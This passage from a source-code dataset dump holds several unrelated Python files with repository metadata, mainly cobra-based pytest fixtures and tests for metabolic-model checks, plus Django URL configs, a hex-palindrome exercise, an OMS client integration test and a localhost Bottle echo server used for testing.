cobra.Metabolite("h_e", "H", compartment="e") met_j = cobra.Metabolite("h2o_c", "H2O", compartment="c") met_k = cobra.Metabolite("pi_c", "HO4P", compartment="c") met_l = cobra.Metabolite("h_c", "H", compartment="c") rxn_1 = cobra.Reaction("ATPS", name="ATPase cytosolic") rxn_1.add_metabolites({met_g: -1, met_h: 1, met_i: 1, met_j: -1, met_k: 1}) rxn_1.bounds = -1000, 1000 rxn_2 = cobra.Reaction("NGAM", name="non-growth associated maintenance") rxn_2.add_metabolites({met_g: -1, met_h: 1, met_l: 1, met_j: -1, met_k: 1}) rxn_2.bounds = 0, 1000 base.add_reactions([rxn_1, rxn_2]) return base @register_with(MODEL_REGISTRY) def sufficient_compartments(base): """Provide a model with the minimal amount of compartments""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("a_p", compartment="p") met_c = cobra.Metabolite("a_e", compartment="e") rxn_a_b = cobra.Reaction("AB") rxn_a_b.add_metabolites({met_a: 1, met_b: -1}) rxn_b_c = cobra.Reaction("BC") rxn_b_c.add_metabolites({met_b: 1, met_c: -1}) base.add_reactions([rxn_b_c, rxn_a_b]) return base @register_with(MODEL_REGISTRY) def insufficient_compartments(base): """Provide a model with less than the minimal amount of compartments""" met_a = cobra.Metabolite("a_c", compartment="c") met_c = cobra.Metabolite("a_e", compartment="e") rxn_a_c = cobra.Reaction("AC") rxn_a_c.add_metabolites({met_a: 1, met_c: -1}) base.add_reactions([rxn_a_c]) return base @register_with(MODEL_REGISTRY) def non_metabolic_reactions(base): """Provide a model all kinds of reactions that are not purely metabolic""" met_a = cobra.Metabolite("a_c", formula='CH4', compartment="c") met_c = cobra.Metabolite("a_e", formula='CH4', compartment="e") rxn_a_c = cobra.Reaction("AC") rxn_a_c.add_metabolites({met_a: 1, met_c: -1}) biomass = cobra.Reaction("BIOMASS") ex_a = cobra.Reaction("EX_a_e") ex_a.add_metabolites({met_c: -1}) base.add_reactions([rxn_a_c, biomass, ex_a]) return base @register_with(MODEL_REGISTRY) def transport_gpr(base): """Provide a model with a transport reaction without GPR.""" met_a = cobra.Metabolite("co2_c", formula='CO2', compartment="c") met_b = cobra.Metabolite("co2_e", formula='CO2', compartment="e") met_c = cobra.Metabolite("na_c", formula='Na', compartment="c") met_d = cobra.Metabolite("na_e", formula='Na', compartment="e") uni = cobra.Reaction("UNI") uni.gene_reaction_rule="X and Y" uni.add_metabolites({met_a: 1, met_b: -1}) anti = cobra.Reaction("ANTI") anti.gene_reaction_rule = "W or V" anti.add_metabolites({met_a: 1, met_d: 1, met_b: -1, met_c: -1}) sym = cobra.Reaction("SYM") sym.add_metabolites({met_a: 1, met_c: 1, met_b: -1, met_d: -1}) base.add_reactions([uni, anti, sym]) return base @register_with(MODEL_REGISTRY) def transport_gpr_constrained(base): """Provide a model with a constrained transport reaction without GPR.""" met_a = cobra.Metabolite("co2_c", formula='CO2', compartment="c") met_b = cobra.Metabolite("co2_e", formula='CO2', compartment="e") met_c = cobra.Metabolite("na_c", formula='Na', compartment="c") met_d = cobra.Metabolite("na_e", formula='Na', compartment="e") uni = cobra.Reaction("UNI") uni.gene_reaction_rule="X and Y" uni.add_metabolites({met_a: 1, met_b: -1}) anti = cobra.Reaction("ANTI") anti.gene_reaction_rule = "W or V" anti.add_metabolites({met_a: 1, met_d: 1, met_b: -1, met_c: -1}) sym = cobra.Reaction("SYM") sym.add_metabolites({met_a: 1, met_c: 1, met_b: -1, met_d: -1}) sym.lower_bound = 8.39 base.add_reactions([uni, anti, sym]) return base @register_with(MODEL_REGISTRY) def reversible_oxygen_flow(base): """Provide a model with a reversible oxygen-containing reaction.""" met_a = cobra.Metabolite("o2s_e", formula="O2", compartment="e") met_b = cobra.Metabolite("o2s_p", formula="O2", compartment="p") rxn = cobra.Reaction("O2Stex") rxn.add_metabolites({met_a: -1, met_b: 1}) rxn.lower_bound = -1000 rxn.upper_bound = 1000 base.add_reactions([rxn]) return base @register_with(MODEL_REGISTRY) def non_reversible_oxygen_flow(base): """Provide a model with a non-reversible oxygen-containing reaction.""" met_a = cobra.Metabolite("o2s_c", formula="O2", compartment="c") met_b = cobra.Metabolite("o2_c", formula="O2", compartment="c") met_c = cobra.Metabolite("h2o2_c", formula='H2O2', compartment="c") met_i = cobra.Metabolite("h_c", "H", compartment="c") rxn = cobra.Reaction("SPODM") rxn.add_metabolites({met_a: -2, met_b: 1, met_c: 1, met_i: -2}) rxn.lower_bound = 0 rxn.upper_bound = 0 base.add_reactions([rxn]) return base @register_with(MODEL_REGISTRY) def dup_mets_in_c(base): """Provide a model with duplicate metabolites in the same compartment""" met_a = cobra.Metabolite("a_c", compartment="c") dup_a = cobra.Metabolite("x_c", compartment="c") not_a = cobra.Metabolite("b_c", compartment="c") met_a.annotation["inchikey"] = "1231" met_a.annotation["kegg"] = "123" dup_a.annotation["inchikey"] = "1231" dup_a.annotation["kegg"] = "123" not_a.annotation["inchikey"] = "3211" not_a.annotation["kegg"] = "321" met_b = cobra.Metabolite("a_p", compartment="p") met_c = cobra.Metabolite("a_e", compartment="e") rxn_a_b = cobra.Reaction("AB") rxn_a_b.add_metabolites({dup_a: 1, met_a: 1, met_b: -1}) rxn_b_c = cobra.Reaction("BC") rxn_b_c.add_metabolites({not_a: 1, met_b: 1, met_c: -1}) base.add_reactions([rxn_b_c, rxn_a_b]) return base @register_with(MODEL_REGISTRY) def dup_mets_in_c_wrong_annotation(base): """Provide a model like `dup_mets_in_c` but with improper annotations""" met_a = cobra.Metabolite("a_c", compartment="c") dup_a = cobra.Metabolite("x_c", compartment="c") not_a = cobra.Metabolite("b_c", compartment="c") met_a.annotation["kegg"] = "123" dup_a.annotation["kegg"] = "123" not_a.annotation["kegg"] = "321" met_b = cobra.Metabolite("a_p", compartment="p") met_c = cobra.Metabolite("a_e", compartment="e") rxn_a_b = cobra.Reaction("AB") rxn_a_b.add_metabolites({dup_a: 1, met_a: 1, met_b: -1}) rxn_b_c = cobra.Reaction("BC") rxn_b_c.add_metabolites({not_a: 1, met_b: 1, met_c: -1}) base.add_reactions([rxn_b_c, rxn_a_b]) return base @register_with(MODEL_REGISTRY) def dup_rxns(base): """Provide a model with duplicate reactions""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") met_a.annotation["inchikey"] = "123" met_b.annotation["inchikey"] = "456" rxn_1 = cobra.Reaction("rxn1") dup_1 = cobra.Reaction("dup1") rxn_1.annotation["kegg.reaction"] = "HEX" dup_1.annotation["kegg.reaction"] = "HEX" rxn_1.add_metabolites({met_a: -1, met_b: 1}) dup_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1, dup_1]) return base @register_with(MODEL_REGISTRY) def dup_rxns_multiple_anns(base): """Provide a model like `dup_rxns` but with multiple annotations per rxn""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") rxn_1 = cobra.Reaction("rxn1") dup_1 = cobra.Reaction("dup1") rxn_1.annotation["kegg.reaction"] = "HEX" rxn_1.annotation["metanetx.reaction"] = "MNXR1" dup_1.annotation["kegg.reaction"] = "HEX" dup_1.annotation["metanetx.reaction"] = "MNXR1" rxn_1.add_metabolites({met_a: -1, met_b: 1}) dup_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1, dup_1]) return base @register_with(MODEL_REGISTRY) def dup_rxns_partial_matching_multiple_anns(base): """Provide a model like `dup_rxns_multiple_anns` but with partial matches""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") rxn_1 = cobra.Reaction("rxn1") dup_1 = cobra.Reaction("dup1") rxn_1.annotation["kegg.reaction"] = "HEX" rxn_1.annotation["metanetx.reaction"] = "MNXR1" dup_1.annotation["kegg.reaction"] = "HEX" dup_1.annotation["metanetx.reaction"] = "MNXR2" rxn_1.add_metabolites({met_a: -1, met_b: 1}) dup_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1, dup_1]) return base @register_with(MODEL_REGISTRY) def dup_rxns_no_matching_multiple_anns(base): """Provide a model like `dup_rxns_multiple_anns` but with no matches""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") rxn_1 = cobra.Reaction("rxn1") dup_1 = cobra.Reaction("dup1") rxn_1.annotation["kegg.reaction"] = "HEX11" rxn_1.annotation["metanetx.reaction"] = "MNXR11" dup_1.annotation["kegg.reaction"] = "HEX22" dup_1.annotation["metanetx.reaction"] = "MNXR22" rxn_1.add_metabolites({met_a: -1, met_b: 1}) dup_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1, dup_1]) return base @register_with(MODEL_REGISTRY) def dup_rxns_list_anns(base): """Provide a model like `dup_rxns` but with list annotations""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") rxn_1 = cobra.Reaction("rxn1") dup_1 = cobra.Reaction("dup1") rxn_1.annotation["kegg.reaction"] = ["HEX11", "HEX22"] dup_1.annotation["kegg.reaction"] = "HEX22" rxn_1.add_metabolites({met_a: -1, met_b: 1}) dup_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1, dup_1]) return base @register_with(MODEL_REGISTRY) def dup_rxns_multiple_list_anns(base): """Provide a model like `dup_rxns_multiple_anns` but with list anns""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") rxn_1 = cobra.Reaction("rxn1") dup_1 = cobra.Reaction("dup1") rxn_1.annotation["kegg.reaction"] = ["HEX11", "HEX22"] dup_1.annotation["kegg.reaction"] = ["HEX22", "HEX11"] rxn_1.add_metabolites({met_a: -1, met_b: 1}) dup_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1, dup_1]) return base @register_with(MODEL_REGISTRY) def dup_rxns_multiple_list_anns_no_match(base): """Provide a model like `dup_rxns_multiple_list_anns` but with no match""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") rxn_1 = cobra.Reaction("rxn1") dup_1 = cobra.Reaction("dup1") rxn_1.annotation["kegg.reaction"] = ["HEX111", "HEX222"] dup_1.annotation["kegg.reaction"] = ["HEX221", "HEX112"] rxn_1.add_metabolites({met_a: -1, met_b: 1}) dup_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1, dup_1]) return base @register_with(MODEL_REGISTRY) def rxns_no_exchange(base): """Provide a model with no exchange reactions""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") rxn_1 = cobra.Reaction("rxn1") rxn_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1]) return base @register_with(MODEL_REGISTRY) def rxns_with_two_substrates(base): """Provide a model with two substrates that can be taken up""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") met_c = cobra.Metabolite("c_e", compartment="e") met_d = cobra.Metabolite("d_e", compartment="e") rxn_1 = cobra.Reaction("rxn1") rxn_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1]) base.add_boundary( met_c, type="custom", reaction_id="EX_c", lb=-1000, ub=1000) base.add_boundary( met_d, type="custom", reaction_id="EX_d", lb=-1000, ub=1000) return base @register_with(MODEL_REGISTRY) def rxns_with_two_false_substrates(base): """Provide a model with two false substrates that cannot be taken up""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") met_c = cobra.Metabolite("c_e", compartment="c") met_d = cobra.Metabolite("d_e", compartment="c") rxn_1 = cobra.Reaction("rxn1") rxn_1.add_metabolites({met_a: -1, met_b: 1}) base.add_reactions([rxn_1]) base.add_boundary(met_c, type="custom", reaction_id="EX_c", lb=1, ub=1000) base.add_boundary(met_d, type="custom", reaction_id="EX_d", lb=1, ub=1000) return base @register_with(MODEL_REGISTRY) def dup_rxns_compartment(base): """Provide a model with identical reactions in different compartments.""" met_a = cobra.Metabolite("a_c", compartment="c") met_b = cobra.Metabolite("b_c", compartment="c") met_c = cobra.Metabolite("a_m", compartment="m") met_d = cobra.Metabolite("b_m", compartment="m") met_a.annotation["inchikey"] = "123" met_b.annotation["inchikey"] = "456" met_c.annotation["inchikey"] = "123" met_d.annotation["inchikey"] = "456" rxn_1 = cobra.Reaction("rxn1") dup_1 = cobra.Reaction("dup1") rxn_1.annotation["kegg.reaction"] = "HEX" dup_1.annotation["kegg.reaction"] = "HEX" rxn_1.add_metabolites({met_a: -1, met_b: 1}) dup_1.add_metabolites({met_c: -1, met_d: 1}) base.add_reactions([rxn_1, dup_1]) return base @register_with(MODEL_REGISTRY) def dup_rxns_irrev(base): """ Provide a model with oppositely directional but irreversible reactions. """ met_a = cobra.Metabolite("h2o_c", compartment="c") met_b = cobra.Metabolite("methf_c", compartment="c") met_c = cobra.Metabolite("5fthf_c", compartment="c") met_d = cobra.Metabolite("h_c", compartment="c") met_a.annotation["inchikey"] = "123" met_b.annotation["inchikey"] = "456" met_c.annotation["inchikey"] = "789" met_d.annotation["inchikey"] = "111" FOMETRi = cobra.Reaction("FOMETRi") THFAT = cobra.Reaction("THFAT") FOMETRi.annotation["kegg.reaction"] = "R02300" FOMETRi.annotation["brenda"] = "2.1.2.10" THFAT.annotation["kegg.reaction"] = "R02300" THFAT.annotation["brenda"] = "2.1.2.10" FOMETRi.add_metabolites({met_c: 1, met_d: 1, met_a: -1, met_b: -1}) THFAT.add_metabolites({met_c: -1, met_d: -1, met_a: 1, met_b: 1}) base.add_reactions([FOMETRi, THFAT]) return base @register_with(MODEL_REGISTRY) def dup_rxns_rev(base): """ Provide a model with oppositely directional but reversible reactions. """ met_a = cobra.Metabolite("h2o_c", compartment="c") met_b = cobra.Metabolite("methf_c", compartment="c") met_c = cobra.Metabolite("5fthf_c", compartment="c") met_d = cobra.Metabolite("h_c", compartment="c") met_a.annotation["inchikey"] = "123" met_b.annotation["inchikey"] = "456" met_c.annotation["inchikey"] = "789" met_d.annotation["inchikey"] = "111" FOMETRi = cobra.Reaction("FOMETRi", upper_bound=1000, lower_bound=-1000) THFAT = cobra.Reaction("THFAT", upper_bound=1000, lower_bound=-1000) FOMETRi.annotation["kegg.reaction"] = "R02300" FOMETRi.annotation["brenda"] = "2.1.2.10" THFAT.annotation["kegg.reaction"] = "R02300" THFAT.annotation["brenda"] = "2.1.2.10" FOMETRi.add_metabolites({met_c: 1, met_d: 1, met_a: -1, met_b: -1}) THFAT.add_metabolites({met_c: -1, met_d: -1, met_a: 1, met_b: 1}) base.add_reactions([FOMETRi, THFAT]) return base @register_with(MODEL_REGISTRY) def dup_rxns_irrev_exchanges(base): """ Provide a model with duplicate exchanges. """ met_a = cobra.Metabolite("A_c", compartment="c") met_a.annotation["inchikey"] = "123" ex1 = cobra.Reaction("ex1", upper_bound=1000, lower_bound=0) ex2 = cobra.Reaction("ex2", upper_bound=1000, lower_bound=0) ex1.add_metabolites({met_a: 1}) ex2.add_metabolites({met_a: 1}) base.add_reactions([ex1, ex2]) return base @register_with(MODEL_REGISTRY) def identical_genes(base): """Provide a model with reactions with identical genes.""" rxn_1 = cobra.Reaction("RXN1") rxn_1.gene_reaction_rule = 'gene1 or gene2' rxn_2 = cobra.Reaction("NXR") rxn_2.gene_reaction_rule = 'gene1 or gene2' met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) rxn_2.add_metabolites({met_1: 1, met_2: -1}) base.add_reactions([rxn_1, rxn_2]) return base @register_with(MODEL_REGISTRY) def different_genes(base): """Provide a model with reactions with different genes.""" rxn_1 = cobra.Reaction("RXN1") rxn_1.gene_reaction_rule = 'b2912' rxn_2 = cobra.Reaction("NXR") rxn_2.gene_reaction_rule = 'b2551' met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) rxn_2.add_metabolites({met_1: 1, met_2: -1}) base.add_reactions([rxn_1, rxn_2]) return base @pytest.mark.parametrize("model, num", [ ("empty", 0), ("three_missing", 3), ("three_present", 0) ], indirect=["model"]) def test_metabolites_formula_presence(model, num): """Expect all metabolites to have a formula.""" assert len(basic.check_metabolites_formula_presence(model)) == num @pytest.mark.parametrize("model, num", [ ("empty", 0), ("three_missing", 3), ("three_present", 0) ], indirect=["model"]) def test_metabolites_charge_presence(model, num): """Expect all metabolites to have a charge.""" assert len(basic.check_metabolites_charge_presence(model)) == num @pytest.mark.parametrize("model, num", [ ("empty", 0), ("gpr_present", 0), ("gpr_missing", 1), ("gpr_missing_with_exchange", 1), ], indirect=["model"]) def test_gene_protein_reaction_rule_presence(model, num): """Expect all non-exchange reactions to have a GPR.""" missing_gpr_metabolic_rxns = \ set( basic.check_gene_protein_reaction_rule_presence( model ) ).difference(set(model.boundary)) assert len(missing_gpr_metabolic_rxns) == num @pytest.mark.parametrize("model, coverage", [ pytest.param("empty", 0, marks=pytest.mark.raises(exception=ValueError)), ("gpr_present", 0.5), ("gpr_present_not_lumped", 1), ], indirect=["model"]) def test_metabolic_coverage(model, coverage): """Expect a model to have high metabolic coverage.""" metabolic_coverage = basic.calculate_metabolic_coverage(model) assert metabolic_coverage >= coverage @pytest.mark.parametrize("model, num", [ ("empty", 0), ("unconstrained_rxn", 0), ("nonzero_constrained_rxn", 1), ("no_nonzero_constrained_rxn", 0), ], indirect=["model"]) def test_find_nonzero_constrained_reactions(model, num): """Expect amount of non-zero rxns to be identified correctly.""" nonzero_constrained_rxns = basic.find_nonzero_constrained_reactions(model) assert len(nonzero_constrained_rxns) == num @pytest.mark.parametrize("model, num", [ ("empty", 0), ("unconstrained_rxn", 0), ("zero_constrained_rxn", 1), ], indirect=["model"]) def test_find_zero_constrained_reactions(model, num): """Expect amount of zero-constrained rxns to be identified correctly.""" zero_constrained_rxns = basic.find_zero_constrained_reactions(model) assert len(zero_constrained_rxns) == num @pytest.mark.parametrize("model, num", [ ("empty", 0), ("unconstrained_rxn", 0), ("irreversible_rxn", 1), ], indirect=["model"]) def test_find_irreversible_reactions(model, num): """Expect amount of irreversible rxns to be identified correctly.""" irreversible_rxns = basic.find_irreversible_reactions(model) assert len(irreversible_rxns) == num @pytest.mark.parametrize("model, num", [ ("empty", 0), ("unconstrained_rxn", 1), ("zero_constrained_rxn", 0), ], indirect=["model"]) def test_find_unconstrained_reactions(model, num): """Expect amount of unconstrained rxns to be identified correctly.""" unconstrained_rxns = basic.find_unconstrained_reactions(model) assert len(unconstrained_rxns) == num @pytest.mark.parametrize("model, num", [ ("ngam_present", 1), ("ngam_and_atpsynthase", 1) ], indirect=["model"]) def test_ngam_presence(model, num): """Expect a single non growth-associated maintenance reaction.""" ngam_reaction = basic.find_ngam(model) assert len(ngam_reaction) == num @pytest.mark.parametrize("model, boolean", [ ("sufficient_compartments", True), ("insufficient_compartments", False) ], indirect=["model"]) def test_compartments_presence(model, boolean): """Expect amount of compartments to be identified correctly.""" assert (len(model.compartments) >= 3) == boolean @pytest.mark.parametrize("model, num", [ ("gpr_present", 0), ("gpr_missing", 0), ("gpr_present_complex", 3) ], indirect=["model"]) def test_find_protein_complexes(model, num): """Expect the number of reactions to be identified correctly.""" assert len(basic.find_protein_complexes(model)) == num # TODO: ngam_and_atpsynthase is not a proper positive control test model # It needs to be replaced with a new test. @pytest.mark.parametrize("model, num", [ ("ngam_and_atpsynthase", 2), ("gpr_missing_with_exchange", 1), ("non_metabolic_reactions", 0) ], indirect=["model"]) def test_find_pure_metabolic_reactions(model, num): """Expect amount of metabolic reactions to be identified correctly.""" assert len(basic.find_pure_metabolic_reactions(model)) == num @pytest.mark.parametrize("model, num", [ ("ngam_present", 1), ("ngam_and_atpsynthase", 0), ("non_metabolic_reactions", 0) ], indirect=["model"]) def test_find_constrained_pure_metabolic_reactions(model, num): """Expect num of contrained metabolic rxns to be identified correctly.""" pmr = basic.find_pure_metabolic_reactions(model) contrained_pmr = set( [rxn for rxn in pmr if basic.is_constrained_reaction(model, rxn)]) assert len(contrained_pmr) == num @pytest.mark.parametrize("model, num", [ ("transport_gpr_constrained", 1), ("transport_gpr", 0), ("ngam_and_atpsynthase", 0) ], indirect=["model"]) def test_find_constrained_transport_reactions(model, num): """Expect num of contrained transport rxns to be identified correctly.""" transporters = helpers.find_transport_reactions(model) constrained_transporters = set( [rxn for rxn in transporters if basic.is_constrained_reaction( model, rxn)]) assert len(constrained_transporters) == num @pytest.mark.parametrize("model, num", [ ("reversible_oxygen_flow", 1), ("non_reversible_oxygen_flow", 0), ("transport_gpr", 0) ], indirect=["model"]) def test_find_reversible_oxygen_reactions(model, num): """Expect amount of reversible O2 reactions to be identified correctly.""" o2_rxns = basic.find_oxygen_reactions(model) rev_o2_rxns = [rxn for rxn in o2_rxns if rxn.reversibility] assert len(rev_o2_rxns) == num @pytest.mark.parametrize("model, num", [ ("sufficient_compartments", 1) ], indirect=["model"]) def test_find_unique_metabolites(model, num): """Expect amount of metabolic reactions to be identified correctly.""" assert len(basic.find_unique_metabolites(model)) == num @pytest.mark.parametrize("model, num", [ ("dup_mets_in_c", 1), ("dup_mets_in_c_wrong_annotation", 0), ("gpr_missing", 0) ], indirect=["model"]) def test_find_duplicate_metabolites_in_compartments(model, num): """Expect amount of duplicate metabolites to be identified correctly.""" assert len(basic.find_duplicate_metabolites_in_compartments(model)) == num @pytest.mark.parametrize("model, num", [ ("empty", 0), ("dup_rxns", 2), ("dup_rxns_multiple_anns", 2), ("dup_rxns_partial_matching_multiple_anns", 2), ("dup_rxns_list_anns", 2), ("dup_rxns_multiple_list_anns", 2), ("dup_rxns_no_matching_multiple_anns", 0), ("dup_rxns_multiple_list_anns_no_match", 0), ("dup_rxns_compartment", 2), ("dup_rxns_irrev", 2), ("gpr_missing", 0) ], indirect=["model"]) def test_find_reactions_with_partially_identical_annotations(model, num): """Expect amount of duplicate reactions to be identified correctly.""" _, total = basic.find_reactions_with_partially_identical_annotations(model) assert total == num @pytest.mark.parametrize("model, expected", [ ("empty", 0), ("dup_rxns", 2), ("dup_rxns_rev", 0), ("dup_rxns_irrev", 0), ("dup_rxns_compartment", 0), ("dup_rxns_irrev_exchanges", 2), ], indirect=["model"]) def test_find_duplicate_reactions(model, expected): """Expect amount of duplicate reactions to be identified correctly.""" _, num = basic.find_duplicate_reactions(model) assert num == expected @pytest.mark.parametrize("model, num", [ ("empty", 0), ("identical_genes", 2), ("different_genes", 0), ("gpr_missing", 0) ], indirect=["model"]) def test_find_reactions_with_identical_genes(model, num): """Expect amount of duplicate reactions to be identified correctly.""" _, total = basic.find_reactions_with_identical_genes(model) assert total == num @pytest.mark.parametrize("model, num", [ ("transport_gpr", 1) ], indirect=["model"]) def test_check_transport_reaction_gpr_presence(model, num): """Expect amount of transport reactions without gpr to be identified.""" assert len(basic.check_transport_reaction_gpr_presence(model)) == num @pytest.mark.parametrize("model, num", [ ("rxns_with_two_substrates", 2), ("rxns_with_two_false_substrates", 0), ("rxns_no_exchange", 0), ], indirect=["model"]) def test_find_medium_metabolites(model, num): """Expect amount of medium metabolites be identified.""" assert len(basic.find_medium_metabolites(model)) == num @pytest.mark.parametrize("model, num", [ ("non_metabolic_reactions", 1), ("transport_gpr", 2), pytest.param("gpr_missing", 2, marks=pytest.mark.raises(exception=RuntimeError)), ], indirect=["model"]) def test_find_external_metabolites(model, num): """Expect a specific number of external metabolites to be found.""" assert len(basic.find_external_metabolites(model)) == num

36.319429

80

0.687128

ace8d311a66bd42c1fbc20003aba45d4e63db49e

525

py

Python

backend/backend/urls.py

kennyudekwu/dog-breed-classification

51213ae2b15c4ec7b241c5c83ccd99bf82e7b612

[ "MIT" ]

null

backend/backend/urls.py

kennyudekwu/dog-breed-classification

51213ae2b15c4ec7b241c5c83ccd99bf82e7b612

[ "MIT" ]

null

backend/backend/urls.py

kennyudekwu/dog-breed-classification

51213ae2b15c4ec7b241c5c83ccd99bf82e7b612

[ "MIT" ]

null

from django.conf.urls import url from django.contrib import admin from django.urls import path, include from django.conf import settings from django.conf.urls.static import static from api import views urlpatterns = [ # path('predict', views.result, name="inferece"), path('admin/', admin.site.urls), path('frontend/', include('frontend.urls')), path('api/', include('api.urls')) ] if settings.DEBUG: urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)

30.882353

60

0.699048

ace8d326ec9119f03c25bcbf877267791bd2bcbe

501

py

Python

AlgorithmsPractice/otherQuestion/shopee/isPanlindrome.py

YangXiaoo/NoteBook

37056acad7a05b876832f72ac34d3d1a41e0dd22

[ "CNRI-Python", "RSA-MD", "CECILL-B" ]

58

2019-03-03T04:42:23.000Z

2022-01-13T04:36:31.000Z

AlgorithmsPractice/otherQuestion/shopee/isPanlindrome.py

YangXiaoo/NoteBook

37056acad7a05b876832f72ac34d3d1a41e0dd22

[ "CNRI-Python", "RSA-MD", "CECILL-B" ]

null

AlgorithmsPractice/otherQuestion/shopee/isPanlindrome.py

YangXiaoo/NoteBook

37056acad7a05b876832f72ac34d3d1a41e0dd22

[ "CNRI-Python", "RSA-MD", "CECILL-B" ]

28

2019-08-11T01:25:00.000Z

2021-08-22T06:46:06.000Z

import sys def getox(num): """获得十六进制""" if num == 0: return [0] ret = [] while num: cur = num % 16 ret.append(cur) num = num // 16 return ret def isPanlindrome(nums): """验证是否为回文串""" if nums == nums[::-1]: return 1 return 0 def solver(num): """方法入口""" ox = getox(num) ret = isPanlindrome(ox) return ret def test(): num = 1 ret = solver(num) print(ret) if __name__ == '__main__': test()

13.916667

27

0.491018

ace8d414cf0d138c61ad46b23f549bc2edc4953f

620

py

Python

BeautyForMe/beautyforme/accounts/urls.py

YooInKeun/CAU_CSE_Capstone_3

51405c4bed2b55661aa0708c8acea17fe72aa701

[ "MIT" ]

6

2019-12-07T07:30:34.000Z

2022-01-20T14:26:44.000Z

BeautyForMe/beautyforme/accounts/urls.py

YooInKeun/CAU_CSE_Capstone_3

51405c4bed2b55661aa0708c8acea17fe72aa701

[ "MIT" ]

9

2019-12-28T06:18:53.000Z

2022-01-13T01:54:21.000Z

BeautyForMe/beautyforme/accounts/urls.py

YooInKeun/CAU_CSE_Capstone_3

51405c4bed2b55661aa0708c8acea17fe72aa701

[ "MIT" ]

1

2020-05-21T15:55:45.000Z

from django.urls import path, include from django.contrib.auth import views as auth_views from django.conf.urls import url from . import views app_name = 'accounts' urlpatterns = [ path('login/', views.ConfirmIsValidUserView.as_view(), name='login'), path('', include('django.contrib.auth.urls')), path('signup/', views.CreateUserView.as_view(), name='signup'), path('signup/done/', views.RegisteredView.as_view(), name='create_user_done'), path('profile/', views.UserProfileView.as_view(), name='profile'), path('profile/importance/', views.UserImportanceView.as_view(), name='importance'), ]

38.75

87

0.722581

ace8d42f817e213d4f44bb8483178fb106e81829

1,557

py

Python

ion/agents/platform/rsn/test/test_oms_client.py

ooici/coi-services

43246f46a82e597345507afd7dfc7373cb346afa

[ "BSD-2-Clause" ]

3

2016-09-20T09:50:06.000Z

2018-08-10T01:41:38.000Z

ion/agents/platform/rsn/test/test_oms_client.py

ooici/coi-services

43246f46a82e597345507afd7dfc7373cb346afa

[ "BSD-2-Clause" ]

null

ion/agents/platform/rsn/test/test_oms_client.py

ooici/coi-services

43246f46a82e597345507afd7dfc7373cb346afa

[ "BSD-2-Clause" ]

2

2016-03-16T22:25:49.000Z

2016-11-26T14:54:21.000Z

#!/usr/bin/env python """ @package ion.agents.platform.rsn.test.test_oms_client @file ion/agents/platform/rsn/test/test_oms_client.py @author Carlos Rueda @brief Test cases for CIOMSClient. The OMS enviroment variable can be used to indicate which CIOMSClient will be tested. """ __author__ = 'Carlos Rueda' from pyon.public import log from ion.agents.platform.rsn.simulator.logger import Logger Logger.set_logger(log) from pyon.util.int_test import IonIntegrationTestCase from ion.agents.platform.rsn.oms_client_factory import CIOMSClientFactory from ion.agents.platform.rsn.test.oms_test_mixin import OmsTestMixin from nose.plugins.attrib import attr import os @attr('INT', group='sa') class Test(IonIntegrationTestCase, OmsTestMixin): """ The OMS enviroment variable can be used to indicate which CIOMSClient will be tested. By default, it tests against the simulator, which is launched as an external process. """ @classmethod def setUpClass(cls): OmsTestMixin.setUpClass() if cls.using_actual_rsn_oms_endpoint(): # use FQDM for local host if testing against actual RSN OMS: cls._use_fqdn_for_event_listener = True def setUp(self): oms_uri = os.getenv('OMS', "launchsimulator") oms_uri = self._dispatch_simulator(oms_uri) log.debug("oms_uri = %s", oms_uri) self.oms = CIOMSClientFactory.create_instance(oms_uri) def done(): CIOMSClientFactory.destroy_instance(self.oms) self.addCleanup(done)

29.377358

78

0.725112

ace8d4583473ec06450cfefaa049eddbabf43625

719

py

Python

testserver.py

shearichard/behave-web-api

b71d62f40ff53332af640f964c57a11fb7c5d668

[ "MIT" ]

3

2016-03-12T23:31:20.000Z

2016-03-19T23:24:30.000Z

testserver.py

shearichard/behave-web-api

b71d62f40ff53332af640f964c57a11fb7c5d668

[ "MIT" ]

4

2017-01-27T15:21:18.000Z

2021-08-19T12:09:03.000Z

testserver.py

shearichard/behave-web-api

b71d62f40ff53332af640f964c57a11fb7c5d668

[ "MIT" ]

3

2017-01-18T15:42:08.000Z

2021-08-18T09:20:04.000Z

import json from bottle import Bottle, run, request app = Bottle() @app.route('/requests/echo', method='ANY') def echo(): try: body = request.body.read().decode('utf-8') except: body = None print(request.headers['Content-Type']) if request.headers['Content-Type'] == 'application/json': try: body = json.loads(body) except: pass result = { 'method': request.method, 'headers': dict(request.headers), 'body': body, 'files': [ {'key': key, 'name': request.files[key].raw_filename} for key in request.files ] } return result run(app, host='localhost', port='5000')

19.972222

65

0.547983

